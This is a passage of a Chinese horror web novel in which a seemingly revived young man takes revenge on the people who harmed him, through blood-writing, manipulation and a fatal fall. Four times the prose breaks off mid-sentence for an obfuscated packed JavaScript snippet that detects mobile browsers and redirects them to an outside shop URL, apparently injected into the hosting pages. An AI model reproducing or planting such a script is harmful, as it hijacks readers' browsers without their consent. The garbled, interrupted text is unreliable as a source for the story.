柜子的门从外面被锁上,缩在里面的悠真哭泣着拍打着储物柜的门。 第一天,他说自己错了,请求他们把自己放出去。 好像没有人能听见他似的,教室里的孩子们正常的说笑,讲台上的老师教他们填写自己的大学志愿,和青春电影里一样,这是最美好的年纪,美好到不应该存在一点罪恶。 所有人,无一例外地听不见他的声音。 第二天他的嗓子开始哑了,又因为没有食物和水只能发出微弱的呼救。 到第三天他就只能用手去敲打柜子的门。 有其他班的同学来D班找自己的朋友,听见柜子里传来的奇怪动静,讶异问自己的好友:“纯音,你们班那个柜子里好像有什么东西呢。” 叫做纯音的女孩露出天使般无辜的面容:“是兔子吧,礼纪今天偷偷把兔子带到学校来了呢,特别的可爱,哎呀,不要管了。” “啊,是兔子啊……” 到了第六天,本来应该锁在柜子里的悠真背着书包出现在了教室门口。 从他出现的那一刻,所有人的表情都变成了恐慌。 悠真扯了扯自己的头发,把脸埋在围巾里:“对、对不起,北条老师,今天早上不知道怎么回事,我睡过了,实在是……我的错。” “青、青山同学?”北条手中的粉笔被掐断成两截。 悠真低着头,不知道为什么所有人都在看着自己,他感觉到一丝难堪。 他顶着压力坐到自己的位置上,低着头不敢抬起来。 “青山同学,”北条眼神空洞,对着他说:“我帮你重新换了一下储物柜,用边上那个就可以,这是钥匙。” 悠真接过钥匙,下课到储物柜面前一看,他原本的柜子上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044766|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓名贴已经被涂黑了,取而代之的,是旁边一个新的属于他的储物柜。 北条老师还是挺贴心的,知道他钥匙找不到了,还给他准备了一个新的。悠真心里充满感激。 只是周围的同学看他的眼神越来越奇怪了,不敢和他说话一样。他们常常背着他围在一起窃窃私语,看向他的眼神越发阴郁。 有一次悠真不小心从他们身后经过,没有被注意到,听到了一些断断续续的字眼。 “怪物……得找个机会……杀……” ……好像是听错了,肯定是听错了……他的同学们……应该不会说那么可怕的话的。 悠真加快脚步,从他们身后离开。 ………… 回忆就到这里停下,青山悠真蹲下身,从柜子里的人身上的校服口袋里摸到了一把储物柜的钥匙。 钥匙,又是钥匙。 青山悠真脸上的笑容不断放大,心想: 好像把潘多拉魔盒打开了呢。 从学校走出来坐上车,车里有烟味,虽然车窗开着还喷了香水,悠真还是闻到了。 “您抽烟了吗?”悠真瞪大眼睛,仿佛香川律会抽烟是一件很令他惊讶的事情。 香川律推了推眼镜:“抱歉,是味道太难闻了吗?” 悠真凑到他面前轻轻嗅了一下:“没有,只是觉得律先生不像是会抽烟的人。” 香川律启动车子:“偶尔有的时候也会放纵一下。” 悠真问:“是有事情让您心烦意乱吗?” 香川律看向前方的道路,矢口否认:“没有的事。” 悠真笑了笑:“果然是律先生呢,我就知道,没有任何事能难得倒您。” 香川律在半路上接了电话,这两天已经积压了很多工作,有很多事情需要他来进行裁定,他必须得工作。 不能一直陪着悠真身边,意识到这一点香川律又觉得他需要来一支烟。 以后得找个方法把悠真绑在身边才行。 但现在还不能这么做,现在的话,悠真会感到害怕的。 得慢慢来。 将悠真送回家,香川律就不得不去公司了。 佐直站在楼梯上,看着独自一人走进香川家的悠真,啧啧了两声:“你和香川律单独出去的吗?竟然不会害怕。” 悠真走过去,压低声音:“能陪我去个地方吗,我还有件事情需要确认一下。” 悠真的主动靠近让佐直感觉到热血沸腾,他的眼睛里闪着光芒:“好啊。” “喂喂喂!小子,你离悠真那么近干什么?遥,你带回来的都是什么人,怎么一点分寸感也没有?”香川凛和香川遥刚好游过泳,从外面走进来,看见悠真和佐直站在楼梯上亲密地交谈,当即就不满起来。 夹在好友和朋友之间,遥感到有些尴尬,不过佐直和悠真刚才离得确实太近了,就算是他……他也有点不是很开心。 遥觉得自己变得有些奇怪,明明和悠真才认识了很短暂的时间而已。 他咳嗽了一声:“琉斗,你……有事情可以找我。” 凛:“悠真不喜欢别人靠近啦小子,在别人家里就要守别人家的规矩。” 凛年纪最小,可说话口气却很大。 遥知道自己这个朋友脾气也不小,担心两人吵起来,刚要说些话缓和一下气氛,就见佐直勾起嘴唇无声的露出一个笑容,一点也不生气,反而满面春风:“那悠真,我们下次再聊。” 29.第 29 章 趁着香川律外出的机会,悠真和佐直来到了久诹神社。 阔别许久,这里竟然已经没有人居住。 上次那场闹剧之后悠真知道香川律应该对神社众人采取了某种措施,但他没有想到这里会完全搬得冷冷清清。 悠真没有理会其他,走到祈福的铃铛之下。阳光下的铃绪轻轻摆动,投下的阴影好像拴着什么东西,看得人心里不舒服。 佐直像是完全不在意似的,东瞧瞧西看看,对这里带上了点兴趣。 “是个荒废的神社,不过还挺干净的。” 悠真没有向他解释关于这座神社的故事,捧起铃铛下的许愿盒,若有所思:“不好打开呢。” 佐直笑起来:“交给我好了,反正是木头盒子,只要往地下一摔就可以摔开的。” 悠真偏头看他:“不怕触怒山神吗?” 佐直嗤笑着:“什么啊悠真,原来你是这种老古板的风格吗?我完全没有这种那种什么信仰之类的东西,难道你有吗?这种东西对我而言完全就是无稽之谈啊,哈哈哈哈哈,悠真原来是老古董。” 佐直琉斗有时候说话还挺像凛的,不过凛更单纯一点,如果凛在这里的话,大概会表现得更规矩一点。至于佐直琉斗嘛……好像是个天然没有什么是非观念又带着点邪气的人,悠真摆弄着心愿盒,不去管佐直正在取笑自己。 在他的摸索之下,心愿盒竟然真的被打开了。 长期尘封的东西被打开,一股烟尘四散在空气中,呛人的灰散开之后,露出封盖底下厚厚的、不那么规整的层层叠叠摞在一起的、写满字迹的纸条。 香川律的笔迹很好认,悠真看过他写字的样子,是那种就算是书法家也找不出错处的那种端正的笔迹。 “悠真永远属于我。” “悠真永远属于我。” …… “悠真永远属于我。” “悠真永远属于我。” …… 不知道多少张纸条上用同样的笔迹写上相同的字眼。 一个个字符像一张张血盆大口,无声地尖叫着共同的一句话。如果它们能发出声音的话,大概率已经吵得人头疼了。 佐直凑过来看的时候,悠真的手已经松开了,盒子跌落在地,写满心愿的纸条散落,悠真的眼睛惊慌地睁大着,宛如看到了什么可怕的东西。 佐直看了一眼就明白了,幸灾乐祸地笑起来:“啊,香川家的人都很好呢~” 他学着悠真说话的语气,听起来很欠揍的感觉。 但悠真已经完全没有力气去反驳了,他的大脑一片空白:“律先生、律先生……” 佐直阴阳怪气:“你的律先生看起来是个变/态呢。” 佐直说话毫不客气,专挑难听的说,好像悠真脸上的表情越难堪他就越高兴似的。 悠真缓缓蹲下去,一张一张捡起地面上散落的纸条。 佐直:“还捡那个干什么?” 悠真不说话,低着头,不知道是因为失落还是因为其他什么,看起来有那么点令人不忍。 佐直琉斗也跟着蹲了下去,他把手搭上悠真的肩膀,悠真低垂着眼睛,不拒绝也不看他。 佐直靠近他的耳边:“还要继续留在香川家吗?留在有这样的人的地方悠真也觉得很不舒服吧?” 悠真手下的动作轻轻停了。 见他隐隐有被自己说动的趋势,佐直继续:“我可以带你逃走,悠真,我带你逃走吧。” 他的手掌之下,悠真的身体猛然一僵,抬起脸,用那种迷茫的眼神看着对方:“可……可以这样吗?” 佐直咧开嘴,靠近悠真的脸颊,近到能看清悠真脸上的容貌,像猫咪一样可爱。 “可以哦。” 佐直抬手想触碰悠真的脸颊,对方却在浑然不知的状态之下躲开了,抓着他的袖子问:“那……要怎么做呢?那可是……香川家。” 虽然没有如意接触到悠真,不过对方这种信任的态度还是让佐直心情大好,没关系,反正现在悠真对香川家的人的滤镜已经被打碎了,得到悠真只是时间的问题。 佐直:“你不用担心啦,我会全部安排好的,香川家又没有什么了不起的,一个食古不化的家族而已,都什么年代了,给我一点点时间,等到……宴会结束之后怎么样?” 宴会,转眼还有两天就是仲代卓也的庆功宴会了。 悠真忍着恐惧的心情抬眼看了一眼佐直,轻轻嗯了一声。 佐直撑着下巴看他,好像身后有一只隐形的尾巴在左右摇摆,青山悠真这个人虽然充满魅力,但实在是……太好拿捏了。 和佐直去神社的事情没有被发现,宴会的所有事务都在照常进行之中。 悠真在宾客名单里看见了一个熟悉的、但之前并没有被邀请的名字,笹原健一。经过询问他知道是香川律刚加进来的新名字。 悠真当下感到有些委屈,拿着名单找到了香川律。 “笹原的名字,是律先生后加进来的吗?”他小心翼翼地问。 即便不是质问的语气,香川律还是感觉到了悠真的困惑,以及一丝委屈,在游乐园事件之后是他主动让悠真远离笹原,悠真答应了,现在他的举动肯定会让悠真感到混乱。 但他有不得不这么做的理由。 私家侦探查明了那天晚上进出久诹山的车辆,经过排查,笹原健一的车嫌疑最大,尤其是那辆车在第二天就被笹原健一送去维修,破损的痕迹和发现悠真身体位置不远处的树干上的痕迹极其吻合。 笹原健一的破绽太多了,香川律大概率猜测当天的事情和笹原健一有莫大的关联。 但是,他没有直接证据。 为了保证香川家的绝对隐私,久诹山大部分地方是没有监控的,这也导致了查询真相过程中的难点。 可是,如果笹原健一再次见到悠真呢?就算他是演员,只要他对悠真做了坏事,在重新看见活生生的悠真时,也绝不可能无动于衷。 香川律事先安排好了微表情分析专家,只要让他确定了当晚是笹原健一动的手,那么他一定会让笹原健一付出应有的代价。 香川律没有回话,悠真忍不住又问了一遍:“律先生不是说以后……不要再见笹原了吗?” 香川律找了一个借口:“当天会有很多媒体在场,笹原健一作为镜湖游园地的宣传大使,有足够曝光的话会起到一个很好的宣传效果。” 悠真低下眼睛,捏着自己的衣角:“是这样啊,律先生做什么……都得顾虑到大局呢。” “悠真,其实……”在看见悠真露出这种失落表情之后,香川律也蹙了下眉头。 悠真抬起头:“什么?” 香川律抿唇,又笑了一下:“没什么事,我想说,宴会当天你可以待在房间里休息,如果你不想见到那些人,包括笹原健一的话,一直待在房间里就可以。” 那些话还是没有说出来,有些事情悠真不必知道,就像那天晚上他迷迷糊糊回到这里丢掉了当晚所有记忆一样,既然丢掉了,那就没有必要再捡起来。 有的回忆只能给悠真带来恐慌,那么他就不需要知道。 悠真停了一会儿,乖巧回答:“我会待在房间里的,哪里也不去。” 这个回答让人挑不出任何错处,可不知道为什么,香川律感觉到一丝……和平常不太一样的东西。 他又认真看了悠真一下,悠真还是那个悠真,眼睛总是藏在睫毛后面,好像碰一下都会受惊,连捏着衣角的手指都用力到骨节泛白,明显就是正处在紧张状态里,生怕自己有什么地方做错。 悠真还是那个悠真,一定是他想多了。 香川律反思自己最近是不是超负荷了,明明一切都是正常的,但他总是会有一种……某些东西要超出掌控的感觉。 悠真拿着名册:“那么我把新的名册拿给仲代先生过目。” 香川律:“好。” 仲代卓也已经好几天没有出过房门了,也不许别人进去,就连用餐也是让人送到门口。 悠真敲响房门,里面传来仲代卓也暴怒的声音:“不是说过了吗!不要打扰我!” 悠真耐心地说:“仲代先生,因为宾客名单有了变化,所以律先生让我拿给你过目。” “悠真!是悠真吗!”房间里的仲代卓也突然收敛了暴怒的语气,但听起来还是很烦躁的样子。 悠真听到了脚步在慢慢靠近,仲代卓也打开房门,对着悠真露出了一个近乎讨好的笑容:“悠真啊悠真……你来了啊……请、请进,不过我的房间里有点乱哦……” 这哪里像是仲代卓也平常说话的语气。 悠真微微讶异地看了他一眼,仲代卓也把自己大半张面孔藏在门板后,手拉了拉门,给悠真腾出一个足够容纳他通过的门缝。 悠真想了下,微笑着慢慢走进了房间。 仲代卓也脸色暗下来,朝着两边警惕地望了望,走廊上空无一人,没有人看见悠真进来他的房间。 他伸出手,拉着门把,将房门紧闭。 灯没有开,窗帘是拉起来的,微弱的光线投进一点点,勉强能让人在这件房子里视物。 仲代卓也的房间简直一团糟,地面上的稿纸快要堆成山,悠真每走一步都要思考该怎么不踩到这些“作家的心血”。 他看着地面上那些稿纸,依稀可以辨认出上面的颜色不是普通的黑色墨水,倒像是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111703|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 还没等悠真判断出来,仲代卓也已经神不知鬼不觉地出现在他身后不远处,他的一只手背在身后,阴恻恻地说:“悠真……悠真,我的墨水用光了。” 悠真转过身面对仲代卓也:“是吗,需要我让人采购吗?您用的是哪款墨水呢?” 仲代低低笑起来:“是‘悠真’牌墨水,悠真你闻到了吗,很香啊……” 哪里有什么香味,只能说是一种房间密闭了太久空气不流通的沉闷味道吧。 看着仲代卓也明显不正常的样子,在看看脚边散落的稿纸,青山悠真思考了片刻,然后捂着肚子笑了起来。 仲代卓也慢慢靠近:“在笑什么呢悠真?” 悠真挥了挥手:“啊抱歉抱歉,只是想到了一些可笑的东西而已,都是些琐碎小事,没什么好说的,不过仲代先生,您刚才说到‘悠真牌墨水’是什么意思,有什么我能帮得上忙的地方吗?” 仲代卓也的声音轻轻地:“当然了,这个忙只有悠真可以帮我。” 抢在仲代卓也之前,悠真大步走到了对方面前,仲代卓也一愣,背在身后的手就被握住了,悠真轻易地从他手中抽走了美工刀。 “是上次那把美工刀呢。”悠真笑出了声音:“啊~缺的是这种‘墨水’啊。不过用美工刀来对我,是不是太残忍了,仲代先生?” 仲代卓也的眼眶微微放大,被对方夺走主动权而恼羞成怒,他压低嗓音:“悠真,快点给我。” “我会给你的,又不是什么大不了的事情,仲代先生只是想要一点‘小墨水’而已。”悠真说。 意外得到理解的仲代卓也一时有些无措起来,他狐疑地看着悠真:“你……你明白?” 悠真:“当然了,我完全明白,灵感是作家的生命,为了得到灵感做出常人无法容忍的行为也可以,那些愚蠢的人不理解就不理解吧,他们只是一些无足轻重的蝼蚁。” 随着一个个字从悠真的嘴巴里吐出,仲代卓也的眼睛一点点被点亮,悠真是他的知己、他的缪斯,愚人所不能理解、不能接受的他,在悠真眼里是没有一点过错的。 仲代卓也隐隐激动起来:“说的对……你说的都对……” 悠真把美工刀放在手心上空,空空划了几下,做了个虚假的动作,在仲代卓也激动看着的时候收起了脸上所有表情。 “不过,仲代先生……现在还不是最好的时候。”他坐上仲代卓也写作时的书桌,轻巧地晃动着两条腿,在空气中一下、一下,划出好看的曲线。 仲代卓也顿了顿,怒气横生:“你还是不愿意,你说的那些话都是骗……” “你好吵。”悠真把美工带扔到地上,直接打断对方的话语,神情变得漠然,他冷冷地哼了一声,身体前倾,几乎就要把脸贴到仲代卓也的眼睛前。 “好啰嗦啊仲代先生,艺术家为了得到灵感等几天又有什么关系?不劳而获的东西是不会珍惜,只有在极度渴望之下得到的才会激发你最大的潜能,你得先‘渴’一会儿,明白吗?” 不客气的语气带着不容置疑的权威性,悠真的漂亮面孔在昏暗中几度变换,又变成了一种好似非常怜悯体恤对方的样子。 “好了,不要这么沮丧,你也知道我说的是有道理的,是不是,仲代先生?” 仲代卓也的态度渐渐松动,看向悠真的眼神也越来越混沌不堪:“是……是这样,那么……你要什么时候才能给我?” 悠真掰着手指头,好像他真的在认真思考一样。 随后他发出一声大笑,把一直放在手边的宾客名单递过去:“就在这一天怎么样?你还没有看宾客名单呢?快点看,没有什么问题的话我还有很多事情要做呢。” 仲代卓也刚要接过名单,悠真就抽手拿了回去,自言自语地说:“应该没有什么问题吧,反正来的是谁根本不重要……仲代卓也的庆功宴,哈哈哈哈哈哈,肯定很有趣。” 悠真从桌子上跳下里,仲代被他举手投足间的怪异气质弄得彻底混乱了,可是又觉得……异常的吸引人。 “庆功宴那天你就会给我‘墨水‘吗?”他抓住悠真的衣袖。 悠真的目光扫过仲代卓也的手,掩藏住了自己的反感:“啊,当然了,当然啦,我不说谎。” 他用力抽出自己的衣袖,生怕慢了一秒,仿佛仲代卓也的手上有什么脏东西一样。 “事情已经处理好,我该回去了。” 悠真往前走了几步,又忽然停下了脚步,他转过脸,脸上满是怒气,即便扭曲但看起来还是尤其美艳。悠真还是没有忍住,在这个只有他和仲代卓也两个人的房间里,他恨恨叫道:“不过谁允许你随便抓我的衣服了?难道你不知道你的手有多脏吗?真恶心。” 30.第 30 章 仲代卓也还是第一次被人用“恶心”来形容,他以为自己会生气,可是他并没有。相反的,他痴痴看着悠真的脸,觉得他即便是这种愤怒、嫌弃的表情,都能“引诱”住自己。 说“引诱”其实并不恰当,眼前的人的行为是没有一丝专门想要讨好他或者吸引他的注意力的意图的,但仲代卓也不知道该怎么形容这种感觉了——悠真说的所有话他都想奉为圭臬,嬉笑怒骂他都可以接受,对方想要什么他也想尽可能的让他满足,毫无条件的,仲代卓也就这样被“引诱”了。 被眼前这个名为“悠真”的怪物,彻底地引诱了。 悠真愤怒地从这个房间走出来,在出门的刹那又变回了那个“小可怜”悠真。 家里已经有工人在忙着装饰了,为了宴会。 悠真回到房间把口罩带上,途中遇到了遥的朋友们,朋友们围住悠真,过分热情地询问有关宴会的事项,悠真贴着墙,一一回答他们的问题。 “那宴会之后悠真应该就没有那么忙碌了吧?” “和我们一起出去晚怎么样?遥之前说想去海边。” “来吧,悠真不来的话就没有什么意思了啊……” 悠真把自己的身体越缩越小,完全不知道该怎么应付的样子。 直到遥挤进来挡在他面前,笑着挠头:“你们不要过度热情了,悠真会感到困扰的。” 说完,转头看向悠真:“不过,我们确实打算等宴会过后去海边玩,悠真要加入吗?” 遥的眼睛亮亮的,期待着什么。 悠真轻轻摇了摇头:“我还有事情要做。” 香川遥的笑容没有刚才那么明亮了,但他还保持着良好的风度,只是难掩一丝丝的失落:“没关系,那……下次再约好了。” 反正听哥说悠真会在这里工作很久,想到这一点,香川遥不知道为什么觉得心里又变得很高兴了。 两日之后,宴会终于拉开了序幕,上流社会的人络绎不绝地从山下而来,名流们齐聚在这里。水晶灯折射着华丽的光线,乐团演奏动听音乐,人们穿着得体礼服,手拿香槟美酒,热切地攀谈着。 作为这场宴会的中心人物,仲代卓也终于从房间里面出来了。 这些时日他基本上没有办法好好休息,即便今天用心收拾了一番还是遮盖不住眼睛下的乌青,他站在二楼,用眼神搜寻了一番,没有看见悠真的身影。 倒是有一些不识趣的人见到他出现,上前来和他道喜,祝贺他的作品获得大奖。 仲代卓也连应付也不想应付了,拨开人群随手找了一个人问:“悠真呢?” “悠真……谁?”对方并不认识悠真。 仲代卓也深深吸了一口气,压住心中的烦躁,在人群中穿梭,每碰到一个他觉得会认识悠真的人都要问上一句。 这只是一个小插曲,也许会成为某个贵妇下午茶时的笑谈,但至少现在,这里的人们很得体的任由仲代卓也做出这种疯疯癫癫的举动,只当这是一个才华出众又目高于顶的艺术家的疯癫癖好而已。 与此同时,笹原健一的车抵达了别墅门口。 再次来到这里,他整个人害怕的快要发抖,生怕自己之前做的事情被发现。 笹原健一本来是不想过来的,但是被经纪人骂了一顿,还是硬着头皮过来了。 那天晚上之后,笹原的神志逐渐恢复,想起了自己对悠真做了什么,可是到目前为止,还没有任何一个人来找他,抱着一种侥幸的心态,笹原健一以为这件事情会永远被这么埋没下去。 他调整好自己的状态,步履从容地走入这栋房子。 一进来就碰到一个疯子抓着他问:“悠真在哪里?” 笹原脸上的表情都快绷不住了,悠真……眼前这个不认识的人为什么会这么问他,他是不是发现了什么,要不然怎么会…… 人总是会被自己做的坏事一次又一次的吓到,不知道什么时候就要付出应付的代价。 笹原健一推了把仲代,骂了一句:“疯子!” 身旁的经纪人脸色一变,慌乱道歉:“抱歉仲代先生,笹原他不是那个意思。” 仲代先生?这个人就是这场宴会的主角仲代卓也吗? 笹原健一努力调整好表情,想要对着对方解释些什么,但仲代卓也没有再看他,跑向下一个人问同样的问题:“悠真在哪里?” 笹原健一感觉怪怪的,背脊有点发凉,经纪人看到仲代卓也这副模样也抿了抿嘴,低声说了句:“艺术家果然很不一样呢。” 香川律俯瞰着这一切,心想着在宴会结束之后就要立刻请卓也舅舅离开香川家,他看起来已经不适合再留在这里。 但是今晚,这场盛宴仍要进行。 主持人邀请的是仲代卓也的编辑,对方手拿话筒一一细数着这些年仲代为了文学做出的努力、付出的辛苦,将仲代的形象描绘的格外高大。 各路媒体适时地留下影像资料,明天就会在各种纸媒与流媒体上进行宣传。 香川律看见了笹原的身影,他藏在人群之中,一改往常喜欢抛头露面的习惯,像个小偷一样在躲藏着追捕。 笹原健一的确就是小偷,他窃走悠真,做出比小偷更恶劣的事情。 香川律压下眉眼,紧紧盯着笹原看了好一会儿,拿出手机打电话给悠真,悠真没有接电话。 这种时候悠真应该安静地待在房间里才对,香川律走到悠真的房门口,敲了敲门,并没有得到回应,他直接伸手把房间门打开了。 悠真不在房间。 香川律莫名地感到一种古怪的感觉,这个时间悠真不在房间的话……那么他会去哪里? 仲代卓也没有听主持说的任何一个字,他只记得悠真答应他会在宴会这一天给他“墨水”。 仲代卓也避开摄像头,找了悠真很久。在舞池的音乐声响动时他看见了悠真站在一个角落里对着他挥了挥手。 悠真的脸上带着轻柔的笑意,瞬间让他的心情好了很多。 仲代卓也横冲直撞地跑过去:“悠真,你跑到哪里了!我找了你好久啊!” “嘘……不要这么大声,”悠真小声地说:“跟我过来吧。” 悠真将他带到一间休息室。 房间门一关上,仲代卓也就迫不及待地问:“墨水呢?” “不要着急啊仲代先生,答应你的事情我会做到的。” 悠真坐到他身边,笑眯眯地看着仲代卓也:“宴会很无聊吧,一点也不好玩,仲代先生在这里给我写一首诗怎么样?” 在悠真的笑容中,仲代卓也完全迷失了自己:“可是……没有‘墨水’的话我什么也写不出来。”悠真大笑起来:“没关系,这就给你。” 他摊开左手手心,右手不知道什么时候已经握了一把小刀,像丝毫感觉不到疼痛那样,悠真的右手轻轻舞动,鲜艳的血水从手掌中流出,从指缝间流下,流到沙发上和地上,看起来一片泥泞。 仲代卓也扑过去,捧起他动手,口中喃喃道:“墨水,墨水。” 悠真抬起下巴示意:“笔和纸都在那里。” 仲代卓也看到前方桌面上事先摆好的笔和纸,他拿着笔想要去触碰悠真手掌心里的血水,却被悠真避开了。 悠真指挥着说:“用地上的。” 仲代卓也没有感觉到屈辱,他用笔尖小心触碰地面上的血液。 悠真看了一会儿,觉得仲代卓也这个姿势特别滑稽可笑,很让他开怀:“你就趴在地上写好了,像条虫子一样。” 悠真看了一眼手表,时间接近九点,烟花表演就要开场了,他还想看烟花。 随便往手心里倒了一点药,用纱布缠绕好伤口。悠真站起身,瞟了眼趴在地上正进行创作的仲代卓也:“你就好好写吧,如果我不满意的话可是会撕掉的。” 和那些一直在奉承他的人不同,悠真说的话一点也不客气,可听在仲代耳朵里却格外舒服。 悠真在激励他,一定是这样,这个世界上只有悠真是最懂他的,悠真是希望他能创作出好的作品,就是这样的。 仲代卓也的脸就快要贴上地面,没有发现悠真已经从这间休息室走出去。 长廊上,没有拍到仲代卓也的记者们心急如焚,明明是主角,仲代卓也此时却不知道跑到那里去了。 在路过他们的时候,悠真好心地提醒了一句:“在找仲代先生吗?我好像在哪间休息室里看见他了呢?” 说完,他就继续朝着观景阳台走去。 宴会提前预告了十分钟之后会有烟花表演,观景阳台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在拥挤与混乱之中,一个小小的声音从耳边传来。 “笹原,你是在找我吗?” 笹原健一瞪大眼睛下意识地回头,正好看见悠真慢悠悠地摘掉口罩对着他露出一个巨大的微笑。 那是以前悠真几乎不会做出的表情,整张脸被笑容占据,看起来有种说不清的古怪,以前的悠真就算是笑也只会露出那种腼腆的笑容。 笹原发着抖,从牙缝中挤出几个字:“悠真……悠真?” 悠真的脸慢慢凑近,认真地看着笹原现在的反应和表情,好像在看一场马戏团表演。 真有趣啊……真有趣,他还从来没有在笹原健一的脸上看到过这种……这么惊慌恐惧的表情。 奇怪,笹原健一不是从来不可一世吗,或者要么因为自己明星的身份伪装出和善亲民的表象,实则内心自大。 原来笹原健一也会有这样的时刻啊。 悠真高兴起来,为自己这一重大发现而感到格外兴奋。 琉璃一般的眼珠上下打量着笹原,不放过对方脸上一丝细微的辩护,用只有两人能听见的声音说:“这么看来……是你杀了我把,笹原?” 悠真微笑着,说话时有冰凉的气息触碰到笹原的皮肤。 笹原感到窒息,人群、或者是悠真抖让他喘不过气,他感到头顶的世界在旋转,周遭的声音听起来空洞,只有悠真的面孔在他眼前不断被放大。 笹原健一仰头向后倒去,他听见自己的脊背撞击到围栏的声音,感受到本该坚硬的围栏的断裂,他伸手向前试图抓住什么,悠真躲避开了他的手,笹原健一只抓到了一团模糊空气。 悠真还在对他微笑,那个数天前被他埋在土里的悠真在他眼前对他微笑。 他的身体沉重又轻盈,他想起那天晚上泥土的味道,有一种腐烂的、放线菌的气息,土壤潮湿,好像雨水还为干,他忘记了具体的细节,只记得当时他顾不上一切,他把悠真放进去,盖起来,用手抹平。 现在,悠真回来找他了。 笹原健一的身体从楼上直直栽倒地面,对面的山坡上放出一朵鲜艳的红色烟花。 31.第 31 章 耳边有尖叫和哭喊,互相推搡乱成一团。 看着对面山坡,烟花表演的时间到了,黑色夜空中释放出各种光彩,香川家出手的规模堪比花火大会。 “真美啊。”悠真由衷地感慨了一句。 这里本来已经够乱了,不知道又是谁跑着大喊。 “仲代卓也疯了。” 他这一句话淹没在人潮中,除了徒增恐惧之外没有得到任何的帮助。 这里的人已经被笹原健一的突发事件弄得神经错乱,一些还算能保持理智的人正在打急救电话,少数媒体从业者当场拍下照片。 于是那人只能随手抓着一个离得近的人寻求帮助:“仲代卓也疯了,能不能打电话叫医生?” 悠真冲着这个抓着自己胳膊的人微笑询问:“这是什么意思?仲代先生怎么会疯了呢?” “我不知道,我不知道,我们本来是去拍照的,可是仲代卓也……他太奇怪了,他趴在地上,手上全是血。” 悠真好心地拍了拍他的肩膀,极其贴心地安慰着:“没关系啦,没关系,我会帮你打电话的。” “谢、谢谢你……” 悠真:“不客气哦。” 逃离的人群,互相摩擦的楼梯,敏锐的人类嗅到了不寻常的气味,纷纷找寻着借口离开香川家。 悠真的目光在人群中绕了一圈,对上了佐直的眼神。 佐直轻轻眨了眨眼睛,目露狡黠,迈着从容优雅的步伐来到他身边。他抬手把悠真被抓乱的衣服整理好,想要摸摸悠真的脑袋却被对方偏头躲过,佐直并不生气,反而和悠真一样格外享受这样的混乱似的。 “真不错呢,悠真。” 悠真保持着微笑。 佐直:“那么,现在跟我一起逃离这里吧。” 他发出邀请,而悠真当然是从容地答应了。 这场局面需要有个人来稳定,本该顺利进行的庆功宴此刻变成了人人避之不及的可怕又荒唐的场所,香川律感觉到一种失控,这是他多年来未有过的感觉。 这个晚宴上有许多香川家的长辈,他们会对他的能力产生怀疑。香川家是一艘不能沉没的轮船,每一代都会选取最有能力的掌舵者,如果他不行,那么随时有人准备取而代之。 香川律稳定好局面之后来到了悠真的房间门口,他抬手敲了几下房门,叫了声悠真的名字,确保悠真的安全。 没有得到回应的香川律打开房门,房间里空空荡荡,悠真不在这里。 他顿了顿,向外走去,经过疏散已经没有几个人留在这里了,整座房子显得十分空旷。香川律从楼上看见楼下大厅中正在为自己据理力争的凛。 凛的表情恼怒却隐忍,对叔父说:“这不是哥的错,没有人会事先想到观景台的围栏会坏掉,卓也舅舅?卓也舅舅只是压力太大了才会做出那种奇怪行为,把所有责任推到哥的身上是一种非常不负责任的、潦草的决定。” 香川律揉了揉自己的眉头,是他的失误,他不应该让凛挡在他的前面。 他走下台阶,表情冷漠地做出承诺:“现在就追究责任是不是太早了?还不到互相指责的时候,我会尽力最好补救的。” “凛,”他把脸转向香川凛:“你有看到悠真吗?” 凛摇了摇头。 香川律麻木地一路向外走,路过的每一个人都表示没有看见悠真。 悠真从这栋房子里消失了,从那天晚上起他再也没有回来过,在一场盛大的聚会之后,他消失的无影无踪,就好像,本来就没有来过。 - “草莓芭菲,悠真还真是喜欢这种甜腻腻的东西啊。”佐直凑到悠真面前:“给我尝一口吧。” 悠真抬了抬眼眸,浅笑着:“滚啊,佐直。” 遮阳伞下,悠真的眼眸散发着黑色玻璃珠一样的光芒,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128856|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不戴口罩了,将脸完全露出来之后,被搭讪的频率直线上升。 青山悠真倒是无所谓,佐直时常恨的牙痒痒。 